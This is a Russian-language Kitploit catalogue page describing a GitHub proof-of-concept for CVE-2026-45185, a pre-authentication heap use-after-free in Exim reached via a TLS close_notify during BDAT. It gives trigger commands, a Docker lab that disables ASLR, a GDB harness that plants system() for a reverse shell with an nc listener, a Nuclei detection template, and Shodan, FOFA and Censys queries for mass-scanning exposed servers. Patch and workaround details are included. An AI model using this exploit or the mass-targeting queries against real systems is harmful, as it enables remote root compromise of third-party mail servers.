Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-45185 — Эксплуатирует критическую уязвимость use-after-free в куче до аутентификации (pre-auth) в Exim через TLS close_notify для получения удалённого root-доступа; включает лабораторный стенд GDB и шаблон обнаружения Nuclei. | Kitploit
Инструменты/GitHubGitHub/0init/cve-2026-45185
Сканеры уязвимостейАнализ уязвимостейЭксплуатацияОбучение и ОбразованиеЭксплуатация Бинарных ФайловЛаборатории и Практика
GitHub0init/cve-2026-45185

CVE-2026-45185

Эксплуатирует критическую уязвимость use-after-free в куче до аутентификации (pre-auth) в Exim через TLS close_notify для получения удалённого root-доступа; включает лабораторный стенд GDB и шаблон обнаружения Nuclei.

Репозиторий
13 дней назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-45185 — Dead.Letter: Exim Heap UAF до удалённого root

CVSS 9.8 Critical | Exim 4.97–4.99.2 | Ubuntu / сборки GnuTLS | без аутентификации

Полный разбор с GDB-трассировкой, пошаговым анализом и данными о глобальной подверженности:
https://0init.github.io/cve-2026-45185-dead-letter-exim-rce.html


Что это такое

Отправка TLS-оповещения close_notify, пока Exim находится в середине передачи тела BDAT, приводит к тому, что tls_close() вызывает gnutls_deinit(), освобождая структуру gnutls_session_int размером 7 304 байта. Уровень приёма BDAT хранит устаревший указатель. Когда цикл чтения тела возобновляется, tls_getbuf → gnutls_record_recv разыменовывает освобождённую сессию — use-after-free в куче, до аутентификации, без каких-либо учётных данных.

Исправлено в Exim 4.99.3.


Подверженные версии

УсловиеТребование
Версия Exim4.97, 4.97.x, 4.98, 4.98.x, 4.99.0, 4.99.1, 4.99.2
СборкаUbuntu / Debian с GnuTLS (libgnutls28-dev)
ФункцияCHUNKING, анонсируемая в EHLO (включена по умолчанию)

Alpine Linux и самостоятельно скомпилированный Exim, слинкованный с OpenSSL, не подвержены.


Файлы


poc.py — триггер UAF

root@kitploit:~
python3 poc.py <host> <port> <rcpt@domain>

# пример
python3 poc.py mail.example.com 587 [email protected]

Если сервер остаётся в живых после срабатывания триггера, путь UAF существует. Если он падает, что-то изменилось в поведении tcache.


diag19_gdb.py — GDB-харнесс (только лаборатория)

Настройка Docker-лаборатории (5 минут)

root@kitploit:~
# 1. Запустите Ubuntu 22.04 + установите Exim 4.97 с GnuTLS
docker run -it --name exim4-lab ubuntu:22.04 bash
apt-get update && apt-get install -y exim4 gdb python3

# 2. Отключите ASLR (требуется для жёстко заданных адресов)
echo 0 | tee /proc/sys/kernel/randomize_va_space

# 3. Настройте Exim — включите CHUNKING + STARTTLS, слушайте все интерфейсы
dpkg-reconfigure exim4-config   # выберите "internet site", примите значения по умолчанию

# 4. Запустите Exim под GDB с загруженным харнессом
gdb -q -x /path/to/diag19_gdb.py --args /usr/sbin/exim4 -bd -d

# 5. В другом терминале запустите триггер
python3 poc.py 127.0.0.1 25 user@localhost

# 6. Запустите слушатель для reverse shell
nc -lvp 4444

Перед запуском: отредактируйте CMD в diag19_gdb.py, указав IP вашего слушателя.
Адрес SYSTEM резолвится динамически при загрузке — ручной поиск не нужен.
Два адреса внутри PostTlsCloseFin (lwr_receive_getbuf, tls_getbuf) являются внутренними для Exim и должны соответствовать вашей сборке:

root@kitploit:~
(gdb) p &lwr_receive_getbuf
(gdb) p tls_getbuf

CVE-2026-45185.yaml — обнаружение через Nuclei

root@kitploit:~
# Одиночная цель
nuclei -t CVE-2026-45185.yaml -u mail.target.com -v

# Список целей
nuclei -t CVE-2026-45185.yaml -l smtp-hosts.txt

# Массовое сканирование по результатам Shodan
shodan search '"Exim 4.97" "Ubuntu" "CHUNKING" port:25' --fields ip_str,port | \
  awk '{print $1":"$2}' > targets.txt
nuclei -t CVE-2026-45185.yaml -l targets.txt

Логика обнаружения

Шаблон выполняет две независимые стадии:

  1. EHLO-фингерпринт — отправляет EHLO, проверяет совпадение по всем трём условиям:

    • регулярное выражение версии 4.97–4.99.2
    • Ubuntu в баннере (подтверждена связка с GnuTLS)
    • CHUNKING в возможностях
  2. BDAT-проба — отправляет BDAT 200 без RCPT TO, проверяет специфичный 503 от Exim:

    root@kitploit:~
    503 valid RCPT command must precede BDAT
    

Запросы для массового сканирования

root@kitploit:~
# Shodan
"Exim 4.97" "Ubuntu" "CHUNKING" port:25,587

# FOFA
banner="Exim 4.97" && banner="Ubuntu" && banner="CHUNKING" && (port="25" || port="587")

# Censys
services.smtp.banner:"Exim 4.97" and services.smtp.banner:"Ubuntu"

Устранение уязвимости

Обновитесь до Exim 4.99.3 или новее (официальный патч).

Обходной путь (не даёт пути эксплуатации, перезапуск для проверки не требуется):

root@kitploit:~
# exim4.conf
chunking_advertise_hosts = !*

Затем service exim4 restart.


Хронология

ДатаСобытие
2026-06-10CVE присвоен XBOW
2026-06-24Опубликовано публичное уведомление
2026-08-07Подтверждён лабораторный RCE; опубликованы этот разбор и PoC

Ссылки

  • Разбор: https://0init.github.io/cve-2026-45185-dead-letter-exim-rce.html
  • Уведомление XBOW: https://xbow.com/blog/dead-letter-cve-2026-45185-xbow-found-rce-exim
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-45185

by @0Init

Скачать инструмент
ФайлНазначение
poc.pyТриггер UAF — только стандартная библиотека, без pip. Безопасен для запуска против ваших собственных серверов. Достигает пути UAF и останавливается (без пейлоада).
diag19_gdb.pyGDB-харнесс для эксплуатации — 7 точек останова, записывает system() в освобождённый фрагмент после возврата из gnutls_deinit(). Только для лаборатории (требуется отключённый ASLR + совпадающие версии библиотек).
CVE-2026-45185.yamlШаблон Nuclei — определяет все три предусловия через EHLO-фингерпринт + BDAT-пробу. Безопасное обнаружение только на чтение.